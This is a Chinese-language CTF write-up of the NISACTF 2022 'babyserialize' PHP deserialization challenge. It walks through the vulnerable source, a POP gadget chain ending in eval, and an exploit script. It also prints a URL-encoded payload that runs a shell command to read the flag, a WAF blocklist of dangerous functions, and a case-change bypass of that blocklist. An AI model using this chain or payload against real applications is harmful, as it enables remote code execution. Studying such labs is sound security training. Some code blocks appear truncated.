# [NISACTF 2022]babyserialize # [NISACTF 2022]babyserialize ```php fun=="show_me_flag"){ // 调用 hint 函数 hint(); } } // 定义当调用该类实例一个不可访问方法时触发的方法 function __call($from,$val){ // 将传入的参数赋值给 $fun 属性 $this->fun=$val[0]; } // 定义当该类实例被当作字符串时触发的方法 public function __toString() { // 输出 $fun 属性值,并返回一个空格 echo $this->fun; return " "; } // 定义当该类实例被当作函数调用时触发的方法 public function __invoke() { // 调用 checkcheck 函数,传入 $txw4ever 属性值 checkcheck($this->txw4ever); // 使用 @ 符号抑制错误,执行 $txw4ever 属性值作为 PHP 代码 @eval($this->txw4ever); } } // 定义 TianXiWei 类 class TianXiWei{ // 定义类的公共属性 public $ext; public $x; // 定义反序列化时的触发的方法 public function __wakeup() { // 调用 ext 对象的 nisa 方法,传入 x 属性值 $this->ext->nisa($this->x); } } // 定义 Ilovetxw 类 class Ilovetxw{ // 定义类的公共属性 public $huang; public $su; // 定义当调用该类实例一个不可访问方法时触发的方法 public function __call($fun1,$arg){ // 将传入的参数赋值给 huang 对象的 fun 属性 $this->huang->fun=$arg[0]; } // 定义当该类实例被当作字符串时触发的方法 public function __toString(){ // 将 su 属性值赋给 bb 变量,并把 bb 变量当作函数调用 $bb = $this->su; return $bb(); } } // 定义 four 类 class four{ // 定义类的公共属性 public $a="TXW4EVER"; private $fun='abc'; // 定义当给该类实例不可访问的属性赋值时触发的方法 public function __set($name, $value) { // 将传入的属性名和值赋给类的属性 $this->$name=$value; // 判断类的私有属性 fun 是否等于 "sixsixsix" if ($this->fun = "sixsixsix"){ // 将 a 属性值转换为小写 strtolower($this->a); } } } // 判断是否有传入名为 'ser' 的 GET 参数 if(isset($_GET['ser'])){ // 使用 @ 符号抑制错误,尝试反序列化 GET 参数 'ser' @unserialize($_GET['ser']); }else{ highlight_file(__FILE__); } // 关于 waf.php 里的函数 checkcheck 和 hint 的提示: //func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //} //function hint(){ // echo "......."; // die(); //} ?> ``` 先看 NISA 类的 `__wakeup()`: ```php class NISA{ // 定义类的公共属性 public $fun="show_me_flag"; public $txw4ever; // 定义反序列化时触发的方法 public function __wakeup() { // 判断反序列化后的 $fun 属性是否为 "show_me_flag" if($this->fun=="show_me_flag"){ // 调用 hint 函数 hint(); } } } ``` `__wakeup()`在对象实例被反序列化时触发 如果反序列化后的 `$fun` 为 "show_me_flag" ,则调用 `hint()` 函数。代码的最下面给出关于 `hint()` 函数的提示: ``` //function hint(){ // echo "......."; // die(); //} ?> ``` 看起来是输出一个提示,所以先去获得这个提示 编写 exp : ```php ``` 运行后得到 payload :`O%3A4%3A%22NISA%22%3A1%3A%7Bs%3A3%3A%22fun%22%3Bs%3A12%3A%22show_me_flag%22%3B%7D` ![[NISACTF 2022]babyserialize-1](https://pic.imgdb.cn/item/65586781c458853aeff15fc6.jpg) 得到提示:`flag is in / (flag在根目录下)` 接下来就是怎么获得 flag ,需要利用 NISA 类的 `@eval($this->txw4ever);` 来查看 flag 的内容 > **本题涉及到的 PHP Magic Methods** > > `__wakeup`:当使用 `unserialize` 函数从字符串中还原对象时,`__wakeup` 方法会被调用。用于重新初始化对象,在反序列化后执行一些必要的操作 > > ```php > class MyClass { > public function __wakeup() { > // 在反序列化后执行的操作 > } > } > ``` > > `__call`:当调用一个不可访问方法时,`__call`方法会被调用。可以用于在运行时捕获对未定义方法的调用,并采取适当的措施 > > ```php > class MyClass { > public function __call($method, $args) { > // $method 是被调用的方法名 > // $args 是传递给方法的参数数组 > // 在这里可以实现相应的逻辑 > } > } > ``` > > `__toString`:当一个对象被要求以字符串形式表示时,`__toString`方法会被调用。通常用于对象实例在被直接输出或转化为字符串时的时候 > > ```php > class MyClass { > public function __toString() { > echo "This is the string representation of MyClass"; > } > } > > $obj = new MyClass(); > $str = strtolower($obj); // 输出: This is the string representation of MyClass > ``` > > `__invoke`:当对象实例被作为一个函数调用时,`__invoke`方法会被调用。允许对象的实例像函数一样被调用 > > ```php > class MyClass { > public function __invoke($param) {// $param 是传递给函数的参数数组 > echo "Object invoked with parameter: $param"; > } > } > > $obj = new MyClass(); > $obj("Hello"); // 输出: Object invoked with parameter: Hello > ``` > > `__set`:当给不可访问属性赋值时,`__set`方法会被调用。允许在属性赋值时执行一些自定义逻辑 > > ```php > class MyClass { > private $data = []; > > public function __set($name, $value) { > // $name 是被赋值的属性名 > // $value 是要赋予属性的值 > // 在这里可以实现相应的逻辑 > $this->data[$name] = $value; > } > } > ``` > 总思路: 1. 要利用 NISA 类的 `@eval($this->txw4ever);` 来查看 flag 的内容,需要触发 NISA 类的 `__invoke` 2. 要触发 NISA 类的 `__invoke` ,需要将 NISA 类的实例对象当作函数调用。Ilovetxw 类的 `__toString` 能满足这个条件 3. 要触发 Ilovetxw 类的 `__toString` ,需要将 Ilovetxw 类的实例对象当作字符串。four 类的 `__set` 能满足这个条件 4. 要触发 four 类的 `__set` ,需要给 four 类的实例对象中不可访问的属性赋值。Ilovetxw 类的 `__call` 能满足这个条件 5. 要触发 Ilovetxw 类的 `__call` ,需要调用 Ilovetxw 类的实例对象中不可访问的方法赋值(或未定义的方法)。TianXiWei 类的 `__wakeup` 能满足这个条件 6. 要触发 TianXiWei 类的 `__wakeup` ,需要反序列化 TianXiWei 类的实例对象 调用链: `TianXiWei->__wakeup ==> Ilovetxw->__call ==> four->__set ==> Ilovetxw->__toString ==> NISA->__invoke` 编写 exp : ```php x = "sixsixsix"; $obj->ext = new Ilovetxw(); $obj->ext->huang = new four(); $obj->ext->huang->a = new Ilovetxw(); $obj->ext->huang->a->su = new NISA(); $obj->ext->huang->a->su->txw4ever = 'SYSTEM("tac /f*");'; $obj = serialize($obj); $obj = urlencode($obj); echo $obj; ?> ``` 得到 payload :`O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22SYSTEM%28%22tac+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3Bs%3A9%3A%22sixsixsix%22%3B%7D` ![[NISACTF 2022]babyserialize-2](https://pic.imgdb.cn/item/655871f5c458853aef1d0be3.jpg) > `waf.php` 过滤了 `sys` ,用 `SYSTEM` 代替 `system` ;用 `cat` 没被 `waf.php` 过滤,但是没效果,不清楚原因 > > `waf.php` 的源码: > > ```php > function checkcheck($data){ > if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/", $data, $match)) { > die('something wrong'); > } > } > > function hint(){ > echo "flag is in /"; > die(); > } > ?> > ``` > > **在不知道过滤内容的情况下也没法得到 `waf.php` 的源码,只能黑盒测试**